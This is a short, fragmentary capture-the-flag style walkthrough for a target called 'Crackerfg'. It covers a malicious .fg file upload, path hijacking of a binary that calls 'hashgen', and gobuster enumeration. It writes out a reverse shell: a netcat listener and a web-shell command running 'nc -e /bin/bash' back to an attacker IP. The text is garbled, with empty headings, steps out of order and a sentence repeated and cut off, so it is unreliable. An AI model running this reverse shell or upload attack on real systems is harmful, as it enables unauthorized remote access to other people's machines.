Crackerfg ((new)) <2K 2027>

Run strings /usr/bin/crackerfg – it calls a system command: hashgen .

Dashboard reveals a file upload feature for "FG (Fingerprint Generator)" scripts ( .fg files). Upload restrictions: only txt and fg . Upload a malicious .fg file: crackerfg

Check path hijacking:

Use gobuster :

You get RCE as www-data . # On attacker machine nc -lvnp 4444 Via the web shell cmd=nc -e /bin/bash 10.10.14.14 4444 Run strings /usr/bin/crackerfg – it calls a system

Stable shell: